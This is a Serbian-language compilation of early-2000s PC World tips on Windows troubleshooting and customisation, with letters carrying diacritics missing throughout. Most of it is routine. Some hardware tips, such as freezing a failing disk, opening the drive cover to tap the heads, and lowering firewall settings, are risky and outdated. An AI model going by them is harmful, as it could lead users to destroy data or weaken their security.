kompanije Winternals (http://www.winternals.com/) jo jedan je skup, ali izvanredan usluni program; on pokree raunar s kompakt diska i lako se koristi.
Evo trika za kopiranje podataka s diska koji odbija da ih proita: stavite disk u kesicu za zamrzavanje
namirnica i odloite ga u zamrziva na sat vremena. Ne alimo se: hlaenje diska moe neznatno da
izmeni geometriju glava i cilindara, to e omoguiti kratkotrajno itanje podataka. Ne zaboravite
samo da poveete i nov vrsti disk i da koristite softver poput Norton Ghosta za prebacivanje
podataka sa starog diska.
Jo niste reili problem? Evo poslednjeg predloga (ali se ne uzdajte previe): krstastim odvijaem
uklonite poklopac vrstog diska i lagano kucnite glave za itanje i upis. Prikljuite disk u sistem (da,
bez poklopca) i pokuajte da mu pristupite.
SMRTONOSNI TELEFONSKI SIGNALI
NEVOLJA: Zbog veza koje se prekidaju, signala zauzea i sporog uitavanja strana, korisnici koji
Internetu pristupaju pomou modema oseaju se kao graani drugog reda. Ne moemo naterati
davaoce Internet usluga da instaliraju vie modema, ali moemo spreiti prekidanje veze.
REENJE: Poziv na ekanju moe biti uzrok prekida veze. Moete ga ukinuti tako to ete ispred
svakog broja dodati odgovarajui kod (potraite ga u priruniku). U Windowsu 98 i Me otvorite Control Panel i Telephony da biste videli odgovarajui parametar.
U Windowsu XP i 2000 otvorite Control Panel i Phone and Modem Options (korisnici Windowsa XP
e moda morati da pritisnu i Printers and Other Hardware u prikazu Category Control Panela).
Izaberite modem i pritisnite Edit da biste na kartici General videli parametre poziva na ekanju. Potvrdite polje To disable call waiting, kao to je prikazano na SLICI 2, i izaberite odgovarajui kod iz
padajue liste (ili ga unesite u polje).
Neaktivnost takoe moe biti uzrok prekidanja veze. Windows XP, na primer, dozvoljava 20 minuta
neaktivnosti pre nego to prekine vezu. Otvorite Internet Options u Control Panelu, pritisnite jeziak
Connections, dvaput miem pritisnite vezu, a zatim i dugme Advanced (u Windowsu Me, pritisnite
Properties, a potom i jeziak kartice Dialing). Ponitite potvrdu polja Disconnect if idle for (Enable
idle disconnect u Windowsu Me) i Disconnect when connection may no longer be needed. Pritisnite
OK. U Windowsu 2000 i XP pritisnite Properties, a zatim i jeziak kartice Options. U padajuoj listi
Idle time before hanging up izaberite never da biste iskljuili prekid veze zbog neaktivnosti. Neki
davaoci Internet usluga uvode svoja ogranienja, pa podeavanje Windowsa nee pomoi. Da biste
u ovom sluaju spreili prekidanje veze, preuzmite Keep It Alive (na adresi find.pcworld.com/35033),
program koji periodino alje pakete i odrava vezu.
DRAGAN MARKOVIC
ZRNASTI OTISCI
DRAGAN MARKOVIC
dowsu 98) snima stanje sistema pre svake znaajnije izmene u bazi Registry. Ako nadogradnja softvera ili hardvera poe naopako, System Restore preuzima ulogu vremeplova i vraa Windows u prethodno radno stanje. Ovaj program radi automatski, ali ga moete pokrenuti i runo. Pritisnite StartPrograms (All Programs u Windowsu XP)-Accessories-System Tools-System Restore i pratite uputstva arobnjaka. to se tie Windowsa 2000, pomou programa Backup (u meniju System Tools)
pravite rezervne kopije da biste sauvali informacije o stanju sistema (pritisnite znak plus u odeljku
"What to restore" da biste pronali odgovarajue polje za potvrdu).
6. KUPITE UREAJ ZA BESPREKIDNO NAPAJANJE: Ureaj za besprekidno napajanje (kota oko 60
EUR) slui kao rezervno napajanje i tako omoguava raunaru da prebrodi nestanak struje. Pored
toga, on je koristan i kao zatita od strujnih udara, jer titi komponente od porasta i padova napona.
7. IGRAJTE NA SIGURNO: Probni upravljaki programi (to znai da nisu dovreni) mogu izazvati
razne vrste problema. Ako elite najnovije upravljake programe za grafiku karticu, nabavite one
koje je Microsoft odobrio.
8. AURIRAJTE WINDOWS: Iako savet da Windows aurirate svaka tri dana zvui smeno, neke
nadogradnje su vane da biste spreavali napadae. Aurirajte Windows redovno i odmah instalirajte sve bezbednosne nadogradnje.
9. KUPITE ANTIVIRUSNI PROGRAM: Ovaj program radi u pozadini, prati dolazni i odlazni saobraaj
i brie zaraene datoteke. Redovno preuzimajte najnovije definicije virusa.
10. KORISTITE ZDRAV RAZUM: Veinu virusa moete izbei tako to ete biti oprezni. Ne otvarajte
svaki prilog e-pote koji dobijete. Ako prilog izgleda sumnjivo, pozovite poiljaoca pre nego to ga
otvorite. uvajte se i Web lokacija koje poseujete, jer one mogu sadrati zlonameran ActiveX kod.
APLIKACIJE U POZADINI KRIOM NAPADAJU
NEVOLJA: Instalirali ste multimedijski plejer i videli novu ikonicu u sistemskoj paleti, ali se tada
raunar usporio, a aplikacije poele da otkazuju poslunost.
REENJE: Usluni programi koji rade u pozadini, a uitavaju se prilikom pokretanja sistema, esto
vie tete nego to koriste. Program System Configuration Utility (u Windowsu 98, Me i XP)
omoguava podeavanje apleta koji se sami pokreu kao to su pomenuti plejeri.
Izaberite Start-Run, unesite msconfig u dijalog Run i pritisnite . Pritisnite jeziak kartice Startup, a
zatim (u Windowsu XP) povucite udesno crtu izmeu zaglavlja kolona Command i Location dok ne
budete mogli da proitate sadraj kolone. U spisku programa koji se uitavaju prilikom pokretanja
sistema potraite one koje ne prepoznajete, kao to je prikazano na SLICI 3 (a kad ste ve tu,
ponitite potvrde pored dupliranih stavki ili komandi). Ispitajte komande za sve nepoznate programe
da biste utvrdili ta rade (na primer, iako ime "qttask" izgleda zbunjujue, korisnici programa QuickTime e prepoznati komandu "QuickTimeqttask.exe").
Jo uvek ne prepoznajete neke programe? Uite im u trag tako to ete pritisnuti Start-Search ili
Start-Find da biste pronali .exe datoteku iz komande (ne zaboravite da pretraite i sistemske i
skrivene direktorijume). Pritisnite datoteku desnim tasterom mia i izaberite Properties. Pritisnite
jeziak kartice Version (ako postoji) i vidite da li e vam njeni podaci pomoi. to se tie DLL bib-
DRAGAN MARKOVIC
lioteka, traite ime (do zareza) iza komande RUNDLL i ponovite korake za .exe datoteke da biste
otkrili ta koja biblioteka radi. Najzad, neidentifikovane programe moete potraiti i na Internetu.
Ponitite potvrdu pored stavki koje ne elite da uitavate prilikom sledeeg pokretanja Windowsa, a
zatim pritisnite OK.
Za reavanje ozbiljnijih problema koristite alatku System Configuration da biste uitali samo
osnovne usluge i upravljake programe (u Windowsu XP) ili izabrali programe koji e se uitavati
prilikom pokretanja sistema (u Windowsu 98 i Me). Na kartici General pritisnite radio-dugme Diagnostic Startup, a zatim i OK.
Windows 2000 nema ovaj usluni program. Preuzmite ga s adrese find. pcworld.com/35222, raspakujte dve datoteke i smestite ih u direktorijum winntsystem32.
napomena
OSEATE LI DA NETO GORI?
PC World Test Centar je imao posla i s loim vrstim diskovima, bledom grafikom na monitorima,
kvarovima napajanja i svim drugim problemima kojih se moete setiti. Meutim, kada god su
analitiari osetili dim iz raunara, strano su se zabrinuli.
Bivalo je da se sistemski procesor pregreje, jer je hladnjak otpao prilikom transporta. Slino veini
korisnika, ni mi ne zavirujemo u unutranjost raunara im ga dobijemo. Analitiari prvo pokreu
antivirusni program, a zatim prave potpunu rezervnu kopiju sistema. Potom otvaraju kuite
raunara i pregledaju njegovu unutranjost.
Eliot Kirling, stariji analitiar performansi, savetuje da iskljuite raunar iz utinice u zidu im
osetite ili udan miris ili vidite dim. Vi biste verovatno odmah posegnuli za aparatom za gaenje
poara, ali to nije neophodno, osim ako raunar zaista gori.
Kada se procesor spali, raunar postaje beskoristan. Ako je raunar pod garancijom, pozovite prodavca.
Ukoliko sistem nije pod garancijom, pogledajte njegovu unutranjost. Otvorite kuite i proverite da
li je hladnjak na svom mestu; ako nije, procesor je verovatno spaljen. Potraite na njemu znake
spaljivanja da biste se uverili da je zaista izgoreo. Ukoliko jeste, zamenite ga i nadajte se da je
matina ploa preivela; nema jednostavnog naina da to utvrdite dok ne zamenite procesor.
Ako je, meutim, hladnjak na mestu, probajte da odredite izvor mirisa paljevine. Uzrok problema
moe biti pokvareno napajanje i onda ga morate zameniti. Upozorenje: Ne otvarajte napajanje - moe
vas udariti struja.
Katkad nije dovoljno zameniti napajanje i procesor, jer su moda i druge komponente oteene; ako
zamenite jedan deo, ne znai da ste popravili raunar. Na primer, moda ne rade ni grafika kartica
ili vrsti disk. To se naroito esto deava posle strujnih udara ak i ako imate ureaj za zatitu (ili
za besprekidno napajanje).
DRAGAN MARKOVIC
SPASAVANJE IZ VODE
NEVOLJA: Upravo ste ispustili telefon ili PocketPC u sudoperu - pozdravite se s ureajem. Da li je
tako?
REENJE: 1. Izvadite ureaj iz vode i uklonite (i bacite) baterije da biste spreili kratak spoj. (Ako je
baterija integrisana, voda koja se u njoj zadrala verovatno e dovesti do kratkog spoja i ureaj e
zaista postati neupotrebljiv.) to se tie stonih raunara zahvaenih poplavom, ako su ukljueni u
struju (ak i ako ne rade), matina ploa e se spaliti. Meutim, poplave obino prati nestanak struje,
to moe spasti sistem. Imajui ovo na umu, izvadite CMOS bateriju iz stonog raunara. Proitajte u
uputstvu kako to da uradite.
2. Otvorite ureaj i izloite njegovu unutranjost (pogledajte odeljak "Paket za preivljavanje").
Paljivo istresite vodu i uklonite periferijske ureaje. Mekom krpom obriite prljavtinu ili blato.
3. Destilovanom vodom temeljno isperite komponente, naroito metalne vodove i iane priljuke.
Destilovana voda uklanja soli i minerale koji ometaju dobre veze. Ne potapajte ekran u vodu.
4. Obriite ureaj mekanom krpom i ostavite 24 sata na suvom i toplom mestu. Oistite prljavtinu
rastvorom za ienje elektrinih kontakata. Izvadite sve iane prikljuke, oistite ih i ponovo
poveite.
5. Sastavite ureaj, ubacite novu bateriju i isprobajte ga. to se raunara tie, zamenite napajanje
ako se pokvasilo
i ugradite novu CMOS bateriju. Planirajte i zamenu ureaja koji se okreu ako su nakvaeni, verovatno e se uskoro pokvariti.
TIINA
NEVOLJA: CD snima je posluio da napravite muziku kompilaciju po ukusu, ali CD plejer u automobilu odbija da reprodukuje snimljene diskove.
REENJE: Moete isprobati nekoliko reenja da bi se iz plejera zaula muzika. Smanjite brzinu u
softveru za snimanje kompakt diskova (neki ureaji dozvoljavaju smanjenje brzine samo do 8X ili
4X, dok drugi mogu da snimaju i pri brzini 1X). Audio CD plejeri znatno manje toleriu greke na
nivou bitova od raunara. Smanjenjem brzine snimanja dobiete i kvalitetnije diskove koji e verovatno raditi i u kunom muzikom stubu ili ureaju u automobilu.
Uvek koristite upisive CD-R diskove, jer su refleksivniji od prepisivih CD-RW diskova, pa e ih audio
plejeri (ukljuujui i one u automobilu) lake reprodukovati. Ako ve koristite CD-R diskove, isprobajte i diskove drugog proizvoaa. Nisu ni svi diskovi isti; u stvari, neki su prilino loi. Razlike u
kvalitetu se mogu primetiti i meu diskovima istog proizvoaa, ak i meu diskovima iz iste serije.
Ukoliko diskovi jednog proizvoaa ne odgovaraju (na primer, zeleno obojeni, zasnovani na cijaninu
ili plavo obojeni azo diskovi), isprobajte drugu vrstu (zlatno obojeni, zasnovani na talocijaninu i dr.).
MRENA KATASTROFA
NEVOLJA: Kune mree bi trebalo da rade bez problema. Kada se svi sistemi usklade s DHCP
serverom i podese za deljenje resursa, posla vie ne bi trebalo da bude. Ako se ipak pojave prob-
DRAGAN MARKOVIC
REENJE: Otvorite prozor Command Prompt: izaberite Start-Run, unesite command i pritisnite .
Zatim unesite ping, razmak i ime ili tanu IP adresu drugog raunara u lokalnoj mrei. Pritisnite i
trebalo bi da na ekranu vidite redove koji poinju s "Reply from", zajedno s vremenima u milisekundama, koji oznaavaju da je mrea ispravna.
Moda drugi raunar ne dozvoljava pristup ili je previe revnostan zatitni zid (poput ZoneAlarma)
zatvorio kapije. Proverite da li je drugi sistem pravilno podeen za prepoznavanje zahteva. Ukoliko
imate zatitni zid, snizite bezbednosne parametre da biste omoguili raunarima u mrei da se
meusobno "vide".
Poruka "Request timed out" saoptava da ste prosledili netanu adresu ili da mrea ne radi.
(Umreene raunare moete proveravati i iz Network Neighborhooda, ali je upotreba komande ping
mnogo bra.)
Da bi dodelile IP adrese raunarima, kune mree po pravilu koriste hardverske zatitne zidove koji
su istovremeno i DHCP serveri. Ukoliko zatitni zid ne radi, on moe biti uzrok loih veza. U prozoru
Command Prompt unesite ipconfig /all (dodajte razmak i |more da tekst ne bi "beao" s ekrana) i
pritisnite . U odeljku "Ethernet adapter Local Area Connection" proverite da li stavka DHCP Enabled
ima vrednost Yes. IP adresa bi trebalo da se nalazi pored stavke DHCP Server. Ako to nije sluaj,
DHCP zatitni zid verovatno ne radi; proverite da li je ukljuen i da su njegove veze u redu.
Najzad, proverite i mreno vorite. Loi automatski prekidai i napojni kablovi mogu izazvati prekid
rada mree. Proverite da li su mreni kablovi dobro prikljueni i da li mrene kartice vrsto stoje na
svojim mestima.
DRAGAN MARKOVIC
Prilagodite podrazumevane parametre tako da Windows radi kako vama odgovara; novi trikovi za
omotnice.
Svaki put kada instaliram Windows na nov raunar,
vei deo popodneva potroim samo da ga podesim
kako meni odgovara.
PRIKAITE SISTEMSKE DATOTEKE
Kada otvorite omotnicu koja sadri bitne sistemske
datoteke - naroito direktorijume Program Files, Windows, System i System32 - najverovatnije ete dobiti
snishodljivo upozorenje da izmenom njihovog
sadraja moete onemoguiti pravilan rad programa.
Slika 1: Smanjite paletu alatki izbacivanjem tekstual- Nije nego. U svim verzijama Windowsa pre XP-a ovo
nih opisa i suvinih dugmia.
upozorenje pojavljivalo se samo ako ste koristili
opciju View-as Web Page (u Windowsu 98) ili ako je
bila oznaena opcija 'Enable Web content in folders'
na kartici General u dijalogu Folder Options (u Windowsu 2000). Nakon tog upozorenja esto morate da
pritisnete vezu 'Show Files'. Ako vas ovakvo
ponaanje ivcira, niste jedini. Sreom za to postoji
lako reenje.
U Windowsu Me i XP pritisnite tekst Show the contents of this folder, nakon ega e sadraj biti vidljiv
sve dok ponovo ne pritisnete tekst s leve strane. Ako
Slika 2: Dodelite preici My Documents putanjnu po pomenuti tekst ne vidite, zatvorite pano direktorielji.
juma (ako je vidljiv), odaberite Tools-Folder Options i
proverite da li je na kartici General potvrena opcija
Enable Web Content in Folders (Me), odnosno Show
common tasks in folders (XP).
Da biste trajno reili problem u Windowsu 98 i 2000,
odaberite View-Folder Options-View ili Tools-Folder
Options-View. U Windowsu 98 odaberite Show all
files u odeljku 'Advanced settings', a u Windowsu
2000 oznaite opciju Show hidden files and folders i
ponitite potvrdu opcije Hide protected operating
system files.
Ako mislite da ete jednog dana poeleti da vratite
stara upozorenja, napravite rezervnu kopiju datoteke
folder.htt, koja se nalazi u svakoj omotnici gde se
Slika 3: Podesite izgled omotnica pomou dijaloga upozorenja javljaju, tako to ete je preimenovati
Folder Options.
primerice u 'folder_stara.htt'.
DRAGAN MARKOVIC
Potom iskopirajte datoteku folder.htt iz poddirektorijuma Web ispod direktorijuma Windows ili Winnt (u
kome nema upozorenja 'Show files') u sve omotnice
u kojima vam upozorenja smetaju. Kada u nekoj
omotnici poelite ponovo da aktivirate upozorenja,
dovoljno je da vratite ime datoteke folder_stara.htt u
folder.htt.
SASTAVITE PALETE ALATKI
DRAGAN MARKOVIC
PREMESTITE MY DOCUMENTS
prvo pravilo pametnog upravljanja datotekama jeste razdvajanje aplikacija i radnih dokumenata.
Windows to podstie pomou omotnice My Documents, koja se podrazumevano nalazi na disku C.
Svoje podatke, ipak, ne morate uvati tamo gde je to zamislio Microsoft. Da biste premestili omotnicu My Documents, desnim tasterom pritisnite njenu ikonicu i odaberite Properties. Otvorite karticu
Target i u polje Target upiite putanju do diska i direktorijuma gde elite da uvate svoje datoteke
(SLIKA 2). U Windowsu 98 pritisnite Browse, odaberite direktorijum i pritisnite OK. Ako direktorijum
pod tim imenom ne postoji, Windows e ga napraviti umesto vas. Novije verzije Windowsa ponudie
vam i da premeste sadraj postojee omotnice My Documents na novu lokaciju; slobodno odaberite
No ako hoete da omotnica ukazuje na novo mesto, ali ne elite da premestite i postojee datoteke.
Da biste preusmerili My Music, My Pictures, My Videos i druge ugraene Windowsove omotnice,
desnim tasterom mia prevucite njihove preice i potom odaberite Move Here. Konano, ako elite
da promenite ime bilo koje od pomenutih omotnica, oznaite njenu ikonicu, zatim pritisnite njeno
ime (ili F2), upiite novo ime i pritisnite Enter.
PODESITE PODRAZUMEVANE VREDNOSTI U EXPLORERU
Pomou windows Explorera, datoteke moete posmatrati na razliite naine - kao velike ikonice,
male ikonice, umanjene sliice, obine spiskove i detaljne spiskove (to ja najvie volim). Pogled
Details moete definisati kao podrazumevani za sve omotnice. Prvo pomou menija View podesite
izgled prozora direktorijuma onako kako elite. Ukoliko koristite Windows 98, potom odaberite
View-Folder Options-View-Like Current Folder, a u ostalim verzijama Windowsa pritisnite ToolsFolder Options-View-Like Current Folder (u XP-u Apply to All Folders; SLIKA 3). Ako se predomislite
i poelite da vratite podrazumevane poglede za omotnice, odaberite opciju Reset All Folders.
Ako neke omotnice hoete da pregledate u pogledu Details, druge kao umanjene sliice i tako dalje,
ni to nije problem. Ponovite prethodne korake da biste podesili pogled koji koristite za veinu omotnica. Potom u odeljku 'Advanced settings' na dnu dijaloga proverite da li je oznaena opcija Remember each folder's view settings i pritisnite OK. Nakon toga, svaka naredna promena pogleda ili
redosleda datoteka u nekoj omotnici bie zapamena kada je sledei put otvorite.
POMO PRI UREIVANJU
Kada sadraj prozora Explorera uredite po imenu, omotnice e se pojaviti na vrhu spiska, a nakon
toga i datoteke, razvrstane po abecednom redosledu. Ako neku datoteku ili direktorijum hoete da
stavite na vrh spiska, ili (poput mene) elite da komprimovani direktorijumi i preice do omotnica
budu pri vrhu, blizu ostalih omotnica - budui da se i ponaaju kao obine omotnice - preimenujte
ih tako da poinju nekim specijalnim znakom. Oznaite preicu, datoteku ili omotnicu, pritisnite F2,
potom i Home da biste se pozicionirali na poetak imena, a zatim upiite neki od interpunkcijskih
znakova poput !, {, [ ili (. Promenu imena zavrite pritiskom na taster Enter (SLIKA 4).
Da bi promena imala efekta, zatvorite pa otvorite omotnicu i pritisnite Name u vrhu kolone (u
pogledu Details) ili odaberite View-Arrange Icons by-Name. Ukoliko je omotnica ve ureena po
imenima, prethodne korake moraete da ponovite dva puta da biste sadraj videli po rastuem
abecednom redosledu.
DRAGAN MARKOVIC
Jo u januaru 2002. opisao sam nekoliko naina za brz pristup Task Manageru u Windowsu 2000 i
XP (find.pcworld.com/39941). Jedan italac nam je predloio moda i najbri metod: da biste momentalno aktivirali Task Manager, pritisnite Ctrl-Shift-Esc.
NOVI (MENI) START
Zato biste se muili i otvarali My Documents, Control Panel, Printers ili neki drugi prozor samo da
biste doli do ikonice koja vam treba? Uz malo podeavanja moete postii da se razne stavke
automatski pojavljuju kao podmeniji menija Start.
Da biste napravili nove preice u meniju Start, desnim tasterom pritisnite paletu poslova i odaberite
Properties. U Windowsu XP izaberite karticu Start Menu i pritisnite dugme Customize pokraj tipa
menija Start koji koristite. Bez obzira na verziju Windowsa, otvorite karticu Advanced i u spisku u
dnu dijaloga potvrdite stavke koje elite da se pojave u meniju Start. Oznaite, na primer, Expand
Control Panel (u 2000 i Me) ili pak Display as a menu u kategoriji Control Panel na panou 'Start menu
items' u Windowsu XP (SLIKA 5). U zavisnosti od verzije Windowsa isto moete uiniti i za ostale
sistemske direktorijume.
WINDOWSOWE ALATKE
MinMaxExtender: Novi nain za kroenje Windowsa
AUTORI ALATKE MinMaxExtender veruju da tri nije dovoljno. Mislim, naravno, na dugmie u gornjem desnom uglu prozora direktorijuma ili aplikacija. Pomou ove alatke, u to podruje moete
dodati do est novih dugmia i putem njih maksimizirati prozor samo po irini ili visini, prikazati
samo naslovnu traku, u potpunosti sakriti prozor, minimizovati ga u sistemsku paletu (pokraj
asovnika) ili pak postaviti preko svih drugih prozora. Dugmie koji vam nisu potrebni moete deaktivirati ili ih prilagoditi na neki drugi nain. Naalost, autori su napustili dalji razvoj programa i on je
sada otvorenog koda. Meni je, svejedno, on je i ovakav veoma koristan, osim u Windowsu XP, gde
se u plavoj, maslinastoj i srebrnoj shemi boja njegovi veliki dugmii preklapaju s dugmetom za
zadravanje prozora na vrhu. U tom sluaju zaboravite na tu funkciju, ili podesite dodatne opcije
MinMaxExtendera u bazi Registry tako da dugmii lepo lee jedni uz druge. to je najbolje, ovaj program je besplatan, a moete ga preuzeti s lokacije find.pcworld.com/39953 ili s naeg diska.
DRAGAN MARKOVIC
Napravite disketu za podizanje sisteme Windows XP i 2000; ne dozvolite meniju Start da zakloni
opcije Control Panel i My Documents
WINDOWS XP nee da se podigne. ta da radim?
Ukoliko windows xp (ili 2000) nee da se pokrene, pritisnite im ukljuite raunar, pre nego to se
pojavi prozor za prijavljivanje u Windows (moda e vam trebati nekoliko pokuaja da pogodite pravi
trenutak). U meniju koji e se otvoriti, odaberite Last Known Good Configuration da biste bazu Registry vratili u preanje ispravno stanje.
Ako na taj nain ne naterate raunar da radi, nanovo pokrenite sistem i opet pritisnite , ali ovoga
puta odaberite Safe Mode, a potom izaberite Start-All Programs-Accessories-System Tools-System
Restore. Pratite uputstva arobnjaka i odaberite odgovarajuu rezervnu kopiju.
Ukoliko ni taj pristup ne upali, ili pak ne moete da dobijete ni opisani meni, upotrebite disketu za
podizanje sistema. Ukoliko je sistemski sektor na vrstom disku oteen ili su oteene neke od
osnovnih Windowsovih datoteka, pomou sistemske diskete moete te probleme zaobii i pokrenuti
Windows. Ako nemate sistemsku disketu, pokuajte s nekom napravljenom na drugom raunaru
koji radi pod Windowsom XP ili 2000, ali nije izvesno da ete pomou nje uspeti da podignete i svoj
raunar.
Da biste je napravili, ubacite praznu disketu u ureaj A:, odaberite Start-All Programs-AccessoriesCommand Prompt, upiite format a: i pritisnite Enter. Kada raunar upita elite li da formatirate jo
neku disketu, upiite n i pritisnite Enter. Potom upiite sledee naredbe, pritiskajui nakon svake od
njih.
xcopy c:boot.ini a: /h
xcopy c:ntdetect.com a: /h
xcopy c:ntldr a: /h
Sada upiite exit i pritisnite Enter da biste zatvorili prozor. Izvadite disketu i nazovite je "Windows
XP sistemska." Stavite je u raunar koja ne radi i podignite sistem - Windows bi trebalo da se
pokrene bez problema. Disketu biste mogli da drite u raunaru sve vreme, ali da biste zaista otklonili problem otvorite komandni prozor kao to je objanjeno, upiite xcopy a:*.* c: /h i pritisnite
Enter.
Ako sistemska disketa ne pomogne, probajte s konzolom Recovery, pomou koje iz okruenja nalik
na DOS moete pokrenuti neke programe za oporavak sistema. To moe biti pomalo nezgodno ako
niste navikli na komandnu liniju, a moete i da otetite podatke, pa budite oprezni.
Ako imate Windowsov instalacioni CD, konzolu Recovery moete pokrenuti tako to sistem
podignete pomou diska (pritisnite bilo koji taster kada sistem ispie poruku 'Press any key to boot
from CD'), pa na ekranu 'Welcome to Setup' pritisnete r.
Ako ste Windows XP ili 2000 dobili uz raunar i nemate instalacioni CD, konzola Recovery se moda
nalazi na nekom od kompakt diskova koji ste dobili od proizvoaa, ali je mogue i da je nemate.
DRAGAN MARKOVIC
Sreom, ona je skrivena u besplatnom Microsoftovom paketu Setup Disks for Floppy Boot Install.
Sa adrese find. pcworld.com/37967 preuzmite datoteku koja radi s izdanjem Professional Windowsa
XP, a sa adrese find.pcworld. com/37316 moete preuzeti verziju za XP Home, Windows 2000, Me i
98.
Kada pokrenete preuzetu datoteku, ona e na est disketa snimiti program za instalaciju XP-a,
ukljuujui i konzolu Recovery. Da biste alatku pokrenuli, podignite sistem s prve diskete i potom ih
redom ubacujte u ureaj kada to od vas bude traeno, sve dok ne doete do ekrana 'Welcome to
Setup'. Tada pritisnite r da biste pokrenuli konzolu Recovery.
Najkorisnije naredbe ove konzole moete videti u tabeli. Detaljne informacije o pojedinim naredbama dobiete tako to upiete naziv naredbe, nakon toga jedan razmak pa /?, na primer chkdsk /?.
(Ukoliko nemate instalacioni CD za Windows, neke komande nee biti dostupne.)
Humoristike rubrike Linkolna Spektora, saradnika asopisa PC World, nalaze se na adresi
http://www.thelinkinspector.com/.
Nauite xp strpljenju
Jedan italac pita postoji li nain da se meni Start-All Programs u XP-u pojavi tek kada ga pritisne,
a ne da se sam pojavljuje nakon izvesnog vremena, zaklanjajui opcije Control Panel i My Documents. Evo reenja: desnim tasterom pritisnite dugme Start i odaberite Properties da biste otvorili
dijalog Taskbar and Start Menu Properties. Na kartici Start Menu pritisnite Customize, a potom u
dijalogu koji se otvori odaberite karticu Advanced. Ponitite oznaku Open submenus when I pause
on them with my mouse, i dvaput pritisnite OK.
DRAGAN MARKOVIC
Ovaj postupak je preporuljivo uraditi posle instalacije Service Pack dodatka za Windows XP Pro.
Takoe preporuljivo je postupak uraditi i posle instalacije svih drajvera i programa koje koristite pri
normalnom radu na raunaru
Ad-aware
Posle instalacije, startujte program sa ikonice.
Kliknite na Check for updates now, i otvorie vam se novi prozor. Na tom prozoru kliknite na Connect dugme da bi program skinuo i instalirao nove definicije adware i spyware programa, tj. da bi
program update-ovali. Skeniranje vaeg raunara poinjete tako to kliknete na dugme Start.
DRAGAN MARKOVIC
Pri instalaciji, program namestite na Full install. Po zavretku instalacije, startujte program sa
ikonice.
Kliknite na dugme Search for updates i program e proveriti da li ima novih definicija. Ukoliko ima,
obeleite ih sve (ekirajte ih) i pritisnite dugme Download updates.
Kada se proces update-a zavri program e se moda ugasiti. Ukoliko se ovo desi, startujte ga
ponovo i proverite proverite da li va raunar ima neki adware ili spyware program tako to e te
pritisnuti dugme Check for problems.
Napominjem da e oba programa ili ijedan od njih nai c-dilla program ukoliko ga imate. Ovaj program se instalira sa CAD programima i programima za rendering (a mogue i sa drugim programima) i neophodan je za njihov rad. Ukoliko na raunaru imate Auto CAD i/ili 3D Studio MAX, ovaj
program uvek izostavite iz uklanjanja u oba programa.
DRAGAN MARKOVIC
Prepoznajte opasne datoteke pomou nastavka imena; ukinite opciju Setup u meniju Boot Windowsa XP
RAUNARSKI VIRUSI se ponekad maskiraju u bezopasne priloge e-pote. Najbre ete prepoznati uljeze
na osnovu nastavka imena datoteke - to su slova (po
pravilu tri) to slede nakon poslednje take u imenu
datoteke. Taj nastavak je jedan od kljunih atributa
skoro svake datoteke na sistemu; bez njega Windows
ne bi znao treba li da je otvori u programu za obradu
teksta ili u nekoj drugoj aplikaciji, da li da je pokrene
kao program, ili da dozvoli drugim programima da je
koriste kao sistemski resurs. Ako znate nastavak
imena datoteke, moete prilagoditi sistem i poistiti
nepotrebne stavke.
Slika
DRAGAN MARKOVIC
Skript datoteke: Skriptovi su programi u tekstualnom obliku, koje posebne usluge operativnog
sistema prevode u mainske naredbe i potom ih izvravaju. Windows e pokrenuti neku od svojih
brojnih usluga takve namene ako dva puta pritisnete datoteku koja sadri skript (kao to otvara
Word da bi prikazao datoteku s nastavkom .doc). Na skriptove esto nailazite kada krstarite Internetom ili obavljate neke druge zadatke, ali verovatno ne elite da dozvolite da se ba svaki skript
pokrene na raunaru. Nastavci imena skript datoteka kojih treba da se uvate jesu oni to koriste
Windows Script Host (.ws, .wsc, .wsf), JavaScript (.js) i Visual Basic (.vb, .vbe, .vbs).
Ostali nastavci koji pokreu usluge: Ako dva puta pritisnete datoteku iji je nastavak pridruen
nekoj usluzi Windowsa, ta usluga e biti pokrenuta i bie joj naloeno da uradi ono to pie u datoteci koju ste pritisnuli. U takve nastavke spada .pif (program information file - ove datoteke
saoptavaju Windowsu kako da pokree stare DOS aplikacije), .msi (pokree uslugu Windows
Install), .hta (HTML aplikacija) i .scr (uvar ekrana).
Sauvajte prostor na disku: Ako su vas zamorili uvari ekrana, utedite prostor na disku tako to
ete potraiti sve datoteke s nastavkom .scr (upiite *.scr kao naziv datoteke koju traite), a potom
obriite one koje vam nisu potrebne (SLIKA 3). Ukoliko elite efikasan nain za uvanje privatnosti,
desnim tasterom prevucite bilo koju .scr datoteku na radnu povrinu ili u meni Start i odaberite
opciju Create Shortcut(s) Here. Pritiskom na preicu pokreete uvar ekrana, a gasite ga pritiskom
na tastaturu ili pomeranjem mia.
Uklonite ikonice iz Control Panela:itaoci nas esto pitaju kako da uklone ikonice iz prozora Control
Panela. Kada krivac nije jedan od apleta ugraenih u Windows, ve nametljivac to ga je instalirao
neki drugi program, korisno je znati da veina ikonica u Control Panelu predstavlja datoteke s nastavkom .cpl. Moete ih pronai pomou Windowsove funkcije za pretraivanje, a kao ime upiite
*.cpl. Po dva puta pritiskajte svaku datoteku dok ne pronaete onu koja vam nije potrebna, a zatim
je premestite u neki drugi direktorijum ili napravite rezervnu kopiju pa obriite original. Ponekad vie
ikonica u prozoru Control Panela predstavlja istu .cpl datoteku. Na primer, uklanjanjem datoteke
main.cpl eliminisaete ikonice Fonts, Keyboard, Mouse i Printers, pa o tome vodite rauna.
Sistemske tajne: Neki sistemski tipovi datoteka ne mogu da rade samostalno, niti se mogu otvoriti
u nekoj aplikaciji; njih koriste drugi programi da bi dobili informacije o parametrima, specijalnim
programskim funkcijama i drugim resursima. Sistem moete prilagoditi menjanjem pojedinih .ini,
.inf i drugih sistemskih datoteka. Na primer, izmenama na datoteci sysoc.inf moete detaljnije upravljati deinstaliranjem komponenata Windowsa 2000 i XP (find.pcworld.com/38693), dok izmenama u
datoteci desktop.ini moete zadati pozadinsku sliku za prozore direktorijuma u Windowsu XP
(find.pcworld.com/38696.
Jedan od estih sistemskih tipova datoteka jesu biblioteke za dinamiko povezivanje, odnosno .dll
(dynamic link library). Ponekad e vie aplikacija instalirati istu .dll datoteku i izazvati probleme. Da
bi pomogao naprednim korisnicima i profesionalcima za podrku da se snau u umi problema sa
.dll datotekama, Microsoft je na adresi find.pcworld.com/38699 postavio bazu podataka pomou
koje moete utvrditi namenu svih njegovih .dll datoteka.
Datoteke baze Registry: Izvezeni delovi baze Registry imaju nastavak .reg. Kada menjate tu bazu,
ove datoteke mogu posluiti kao male, namenske, rezervne kopije delova na kojima ete raditi.
